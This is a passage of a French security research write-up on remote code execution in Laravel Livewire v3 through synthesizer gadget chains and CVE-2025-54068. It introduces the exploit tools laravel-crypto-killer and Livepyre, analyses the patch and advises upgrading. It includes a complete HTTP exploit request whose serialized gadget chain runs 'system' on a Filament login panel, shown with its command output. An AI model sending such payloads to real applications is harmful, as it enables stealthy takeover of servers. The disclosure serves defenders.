Dans cette classe, la méthode exit définie à la ligne 20 devient directement accessible en raison du comportement de l’objet FnStream de Guzzle, dont la méthode __toString peut déclencher des callable streams et ainsi invoquer des fonctions exposées publiquement. Étant donné que exit est déclarée comme une méthode publique, ce mécanisme permet de l’atteindre indirectement via le processus de conversion en chaîne de caractères effectué par FnStream, ce qui conduit finalement à l’exécution de la méthode et à la terminaison de la session interactive.
Cette chaîne interrompt proprement le flux d’exécution PHP sans générer d’erreur dans les logs Laravel, rendant l’exploitation plus furtive.
Comme expliqué précédemment, le schéma d’hydration récursive menant à l’exécution arbitraire de commandes sans génération de logs est le suivant :
Exploiter la vulnérabilité avec laravel-crypto-killer
Dès lors que l’on dispose d’un APP_KEY valide et d’un snapshot Livewire brut, il est possible de forger une payload contenant l’intégralité de la gadget chain afin de compromettre Livewire.
En conséquence, un module a été développé pour intégrer cette chaîne de gadgets complète au sein de laravel-crypto-killer
Pour l’utiliser avec Livewire, les paramètres suivants doivent être spécifiés :
-
-e: spécifie le nom de l’exploit (icilivewire) -
-k: APP_KEY de l’application -
-j: JSON brut ou chemin vers un fichier contenant l’intégralité du JSON de mise à jour Livewire -
--function: fonction PHP à exécuter -
-p: valeur du paramètre qui sera passée à la fonction
Exemple sur une application publique : Snipe-IT
Mécanisme de mise à jour
Dans l’introduction, nous avons montré que Livewire permet d’appeler des méthodes arbitraires sur des components en utilisant la méthode increment sur le component Counter. Néanmoins, il est également possible de mettre à jour directement une propriété d’un component en la définissant à l’intérieur de la valeur updates d’une requête Livewire.
Ainsi, si nous voulions modifier notre counter à 1337, nous pourrions définir manuellement sa valeur avec la requête suivante :
POST /livewire/update HTTP/1.1
Host: 192.168.122.184
Content-Length: 407
Cookie: XSRF-TOKEN=ey[...]%3D
{
"_token": "KAzJ4mhO8NzK8hMkAPjslaNo6hG2W740HoBDzSzA",
"components": [
{
"snapshot": "{\"data\":{\"count\":1},\"memo\":{\"id\":\"4TRWeXVBaMBrHslVVgVi\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"9bfe798289569477fcf865a952a4a8ddeb3c4150df56b4b404e8df400d0aa0be\"}",
"updates": {
"count": 1337
},
"calls": []
}
]
}
Cette fonctionnalité s’accompagne d’un autre problème dont nous avons déjà parlé : par défaut, si les développeurs n’appliquent pas un typage fort sur les paramètres de leurs components, ils seront vulnérables au type juggling. Par exemple, le paramètre count de la classe Counter n’est pas fortement typé :
<?php
namespace App\Livewire;
use Livewire\Component;
class Counter extends Component
{
public $count;
public function increment()
{
$this->count++;
}
[...]
}
Par conséquent, nous sommes en mesure de définir sa valeur comme une chaîne de caractères ou toute autre valeur prise en charge par JSON :
POST /livewire/update HTTP/1.1
Host: 192.168.122.184
Content-Length: 407
Cookie: XSRF-TOKEN=ey[...]%3D
{
"_token": "KAzJ4mhO8NzK8hMkAPjslaNo6hG2W740HoBDzSzA",
"components": [
{
"snapshot": "{\"data\":{\"count\":1},\"memo\":{\"id\":\"4TRWeXVBaMBrHslVVgVi\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"9bfe798289569477fcf865a952a4a8ddeb3c4150df56b4b404e8df400d0aa0be\"}",
"updates": {
"count": "Wait.. I should be an integer"
},
"calls": []
}
]
}
Par conséquent, il est possible de caster n’importe quel champ de snapshot faiblement typé vers n’importe quel type JSON basique par défaut depuis updates.
Dans les parties suivantes de cet article, nous expliquerons comment abuser de ce mécanisme d’update afin d’utiliser l’intégralité de la chaîne de gadgets détaillée précédemment, dans le but d’atteindre une exécution de commandes à distance sans l’APP_KEY sur Livewire 3.
Analyse de la vulnérabilité
Lorsque des données sont envoyées dans le champ updates à Livewire, elles seront contrôlées dans la variable $value au sein de la fonction hydrateForUpdate de la classe HandleComponents :
1 <?php
2
3 namespace Livewire\Mechanisms\HandleComponents;
4
5
6 class HandleComponents extends Mechanism
7 {
8
9 protected function hydrateForUpdate($raw, $path, $value, $context)
10 {
11 $meta = $this->getMetaForPath($raw, $path); // Verifies if the data contains a synthesizer
12
13 // If we have meta data already for this property, let's use that to get a synth...
14 if ($meta) {
15 return $this->hydrate([$value, $meta], $context, $path);
16 }
17 }
18
19 protected function getMetaForPath($raw, $path)
20 {
21 [...]
22
23 [$data, $meta] = Utils::isSyntheticTuple($raw) ? $raw : [$raw, null];
24 [...]
25
26 return $meta;
27
28 }
Lors de la mise à jour d’une valeur, les données du snapshot seront envoyées à la fonction hydrateForUpdate (ligne 9) comme suit :
-
$raw: valeur des données déjà définies dans le snapshot -
$path: nom du component : dans notre cas, ce sera counter -
$value: valeur définie dans le champupdates -
$context: contexte global Livewire
Si les $raw data, qui sont déjà définies, sont considérées comme un synthesizer, alors Livewire appellera la fonction hydrate sur la nouvelle définition contrôlée par l’utilisateur dans $value. La fonction isSyntheticTuple (voir le chapitre Livewire synthesizers) utilisée dans la fonction getMetaForPath (ligne 23) vérifie que les $raw data sont un array contenant exactement deux éléments. Le premier peut être n’importe quoi, mais le second doit être un autre array contenant la clé s (qui est une clé statique de synthesizer).
C’est là que le type juggling devient utile : par défaut, aucun contrôle de sécurité n’est effectué dans Livewire ; il existe de nombreux cas où un champ de component pourra être casté en tableau via updates :
POST /livewire/update HTTP/1.1
Host: 192.168.122.184
Content-Length: 407
Cookie: XSRF-TOKEN=ey[...]%3D
{
"_token": "KAzJ4mhO8NzK8hMkAPjslaNo6hG2W740HoBDzSzA",
"components": [
{
"snapshot": "{"data":
{
"count":1
},
[...]
}",
"updates": {
"count": []
},
"calls": []
}
]
}
HTTP/1.1 200 OK
Host: 192.168.122.184
Set-Cookie: [...]joiIn0%3D; expires=Wed, 17 Dec 2025 18:44:31 GMT; Max-Age=7200; path=/; samesite=lax
{
"components": [
{
"snapshot": "{"data":{
"count":[
[],
{"s":"arr"}
]
},
[...]
}",
}
],
"assets": []
}
Comme on peut le voir, lorsque $count est défini comme un tableau, un nouveau snapshot valide est renvoyé à l’utilisateur, mais la valeur d’un tableau devient [[], {"s":"arr"}].
1 <?php
2
3 namespace Livewire\Mechanisms\HandleComponents;
4
5
6 class HandleComponents extends Mechanism
7 {
8 [...]
9
10 protected function hydrate($valueOrTuple, $context, $path)
11 {
12 if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
13
14 [$value, $meta] = $tuple;
15 [...]
16
17 $synth = $this->propertySynth($meta['s'], $context, $path);
18
19 return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path) {
20 return $this->hydrate($child, $context, "{$path}.{$name}");
21 });
22 }
23 }
Par conséquent, en dissimulant un synthesizer à l’intérieur d’un tableau, nous sommes en mesure de déclencher l’intégralité de la gadget chain de Livewire sans avoir besoin d’être en possession de l’APP_KEY !
Pour être plus clair, voici un schéma détaillant l’idée complète avec tous les détails sur le processus d’exploitation :
Création d'un nouvel outil : Livepyre
Afin d’automatiser facilement les exploits précédents, nous avons créé l’outil Livepyre, qui vérifie et exploite les snapshots Livewire avec ou sans APP_KEY selon le contexte.
$ python3 Livepyre.py -h
usage: Livepyre.py [-h] -u URL [-f FUNCTION] [-p PARAM] [-H HEADERS]
[-P PROXY] [-a APP_KEY] [-d] [-F] [-c]
Livewire exploit tool
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL
-f FUNCTION, --function FUNCTION
Function to execute (default: system)
-p PARAM, --param PARAM
Param for function (default: id)
-H HEADERS, --headers HEADERS
Headers to add to the request (default None)
-P PROXY, --proxy PROXY
Proxy URL for requests
-a APP_KEY, --app-key APP_KEY
APP_KEY to sign snapshot
-d, --debug Enable debug output
-F, --force Force exploit even if version does not seems to be
vulnerable
-c, --check Only check if the remote target is vulnerable (only
revelant for the exploit without the APP_KEY)
Livepyre propose deux modes de fonctionnement :
-
Sans APP_KEY : exploite la CVE-2025-54068, la seule exigence est l’URL de l’application vulnérable
-
Avec APP_KEY : exploite la faille de conception identifiée dans la première partie de cet article de blog, permettant d’obtenir une RCE sur des applications basées sur Livewire v3.
Identification de la version
Lors du déploiement d’un site web avec Livewire, le code JavaScript chargé côté frontend contient un cache buster ?v=<hash> qui inclut un hash spécifique dépendant de la version de son fichier JavaScript.
$ curl -s http://192.168.122.184/counter | tail -n3
<script src="/livewire/livewire.js?id=fcf8c2ad" data-csrf="Fod816ntEIFvy994OKwIlZOqSB6JAbGG13SggtDn" data-update-uri="/livewire/update" data-navigate-once="true"></script>
</body>
</html>
Ce comportement peut être utilisé pour identifier la version de Livewire :
$ python3 Livepyre.py -u http://192.168.122.184/counter
[INFO] The remove livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[...]
L'outil Livepyre est disponible ici.
Analyse du patch de la CVE-2025-54068
1 <?php
2
3 namespace Livewire\Mechanisms\HandleComponents;
4
5
6 class HandleComponents extends Mechanism
7 {
8
9 + protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
10 + {
11 + if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
12 + [$value, $meta] = $tuple;
13 +
14 + // Nested properties get set as `__rm__` when they are removed. We don't want to hydrate these.
15 +
16 + if ($this->isRemoval($value) && str($path)->contains('.')) {
17 + return $value;
18 + }
19 +
20 + $synth = $this->propertySynth($meta['s'], $context, $path);
21 +
22 + return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
23 +
24 + return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
25 +
26 + });
27 }
28 [...]
29 protected function hydratePropertyUpdate($valueOrTuple, $context, $path)
30 {
31 [...]
32 if ($meta) {
33 - return $this->hydrate([$value, $meta], $context, $path);
34 + return $this->hydratePropertyUpdate([$value, $meta], $context, $path, $raw);
35
36 }
37 }
38
39 }
Une nouvelle fonction hydratePropertyUpdate (ligne 9) a été créée. Au lieu d’appeler uniquement $child dans la récursion de hydrate, $raw est conservé comme premier paramètre (ligne 25). Son contenu meta est préservé, ce qui protège la mise à jour contre (ligne 13) :
-
Transtypage arbitraire du synthétiseur
-
Redéfinition arbitraire de classe
Cela protège effectivement contre la chaîne d'exploitation détaillée dans cet article.
Impact sur d’autres projets basés sur Laravel
Cette vulnérabilité a affecté de nombreux projets. En effet, 1 754 packages dépendent de Livewire et étaient exposés à cette CVE. Par exemple, le framework Filament, conçu pour créer des forms d’authentification administrateur, était affecté au niveau du login panel.
Démonstration sur un projet réel : Filament
Filament est un outil Laravel open-source permettant de créer rapidement des panels d'administration et des interfaces CRUD élégantes et personnalisables, propulsés par Livewire. Selon packagist, ce projet a été installé 18 millions de fois, ce qui représente plus d’un quart de tous les téléchargements de Livewire.
Le component $form de son formulaire d'authentification est faiblement typé, ce qui le rend vulnérable :
1 <?php
2
3 namespace Filament\Pages\Auth;
4 [...]
5
6 /**
7 * @property Form $form
8 */
9 class Login extends SimplePage
10 {
11 use InteractsWithFormActions;
12 use WithRateLimiting;
13
14 /**
15 * @var view-string
16 */
17 protected static string $view = 'filament-panels::pages.auth.login';
18
19 /**
20 * @var array<string, mixed> | null
21 */
22 public ?array $data = [];
23
24 public function mount(): void
25 {
26 if (Filament::auth()->check()) {
27 redirect()->intended(Filament::getUrl());
28 }
29
30 $this->form->fill();
31 }
32 [...]
33 }
Comme on peut le voir dans le code précédent, la propriété $this->form est assignée comme un synthesizer form (ligne 7) à partir de l’annotation @property. Comme form est déjà un synthesizer, cela supprime la nécessité de caster un élément en tableau. Par conséquent, Livepyre utilisera form pour envoyer la payload complet via updates, déclenchant directement l’exécution de code :
POST /livewire/update HTTP/1.1
Host: 192.168.90.100:8000
[...]
Content-Length: 1592
Content-Type: application/json
{
"_token": "EYPUvUKvuSdxKjCF3ZDCUHdayvEjD2MIKZCW6RLn",
"components": [
{
"snapshot": "{\"data\": {\"form\": [{\"email\": \"\", \"password\": \"\", \"remember\": false}, {\"class\": \"App\\\\Livewire\\\\Forms\\\\LoginForm\", \"s\": \"form\"}]}, \"memo\": {\"id\": \"JcltDyhVBLY0icPUhGLG\", \"name\": \"pages.auth.login\", \"path\": \"login\", \"method\": \"GET\", \"children\": [], \"scripts\": [], \"assets\": [], \"errors\": [], \"locale\": \"en\"}, \"checksum\": \"5e6cb3790a1c61816f28bb1a8d92c9704ac67a7b2d5000c568305c704ba7cced\"}",
"updates": {
"form": [
1,
[
{
"a": [
{
"__toString": "phpversion",
"close": [
[
[
{
"chained": [
"O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:6:\"system\";}}s:8:\"\u0000*\u0000event\";s:2:\"id\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"
]
},
{
"s": "form",
"class": "Illuminate\\Broadcasting\\BroadcastEvent"
}
],
"dispatchNextJobInChain"
],
{
"s": "clctn",
"class": "Laravel\\SerializableClosure\\Serializers\\Signed"
}
]
},
{
"s": "clctn",
"class": "GuzzleHttp\\Psr7\\FnStream"
}
],
"b": [
{
"__toString": [
[
[
null,
{
"s": "mdl",
"class": "Laravel\\Prompts\\Terminal"
}
],
"exit"
],
{
"s": "clctn",
"class": "Laravel\\SerializableClosure\\Serializers\\Signed"
}
]
},
{
"s": "clctn",
"class": "GuzzleHttp\\Psr7\\FnStream"
}
]
},
{
"class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator",
"s": "clctn"
}
]
]
},
"calls": []
}
]
}
HTTP/1.1 200 OK
Host: 192.168.90.100:8000
[...]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm), 24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
uid=1000(user) gid=1000(user) groups=1000(user),4(adm), 24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
Vous pouvez voir l’exploit complet dans la vidéo suivante :
Échange concernant la nécessité de l’APP_KEY
La version de l’exploit nécessitant l’APP_KEY n’a pas été corrigée, car elle exploite le fonctionnement même de Livewire. Étant donné que son exploitation requiert la possession de l’APP_KEY, l’équipe Livewire ne l’a pas considérée comme un problème de sécurité. Par conséquent, être en possession de l’APP_KEY sur une application Livewire en version 3 ou supérieure permet d’en prendre le contrôle complet.
Il est également important de garder à l’esprit que plusieurs APP_KEY sont des valeurs par défaut sur des milliers d’applications Laravel exposées publiquement. Nous avons d’ailleurs déjà publié un article détaillé consacré à ce sujet : https://www.synacktiv.com/en/publications/laravel-appkey-leakage-analysis.
Conclusion
Nos recherches démontrent qu’en chaînant les classes de synthesizers de Livewire avec des classes déjà existantes, un attaquant peut forger des payloads permettant une exécution de code à distance furtive dès lors que l’APP_KEY est connue. L’exploit s’appuie sur l’hydration récursive de Livewire pour instancier des objets arbitraires et exécuter du code contrôlé par l’attaquant lors de la restauration de l’état des composants. Ce processus, bien que complexe, montre les risques résultant du manque de contrôle appliqué aux données utilisateur ainsi qu’au manque de contraintes de typage strict dans les frameworks PHP.
La découverte de CVE-2025-54068 a par ailleurs mis en évidence une faille critique supplémentaire : la possibilité d’injecter des synthesizers via le mécanisme updates, contournant entièrement la nécessité de posséder l’APP_KEY. Cette vulnérabilité, désormais corrigée, a contraint Livewire à renforcer sa logique d’hydration en préservant le contexte du snapshot d’origine lors des appels récursifs. Toutefois, l’exploit dépendant de l’APP_KEY demeure non corrigé, l’équipe Livewire considérant l’exposition de l’APP_KEY comme une frontière de sécurité suffisante. Or, compte tenu de la fréquence des fuites ou de l’utilisation de valeurs par défaut d’APP_KEY dans la nature, cette position semble sous-estimer les risques réels.
Afin d’automatiser ces deux vecteurs d’attaque, nous avons développé Livepyre, un outil visant à simplifier l’exploitation avec ou sans connaissance de l’APP_KEY.
En définitive, le cas de Livewire constitue un rappel frappant que des fonctionnalités innovantes, lorsqu’elles reposent sur un typage souple et une confiance implicite, peuvent se transformer en chaînes d’exploitation particulièrement puissantes. Pour les utilisateurs de Livewire, la mise à jour vers la version 3.6.4+ est impérative. Cependant, la véritable correction réside dans l’adoption de pratiques de développement sécurisées : typage strict et contrôle rigoureux des données utilisateur afin de prévenir des failles de sécurité critiques.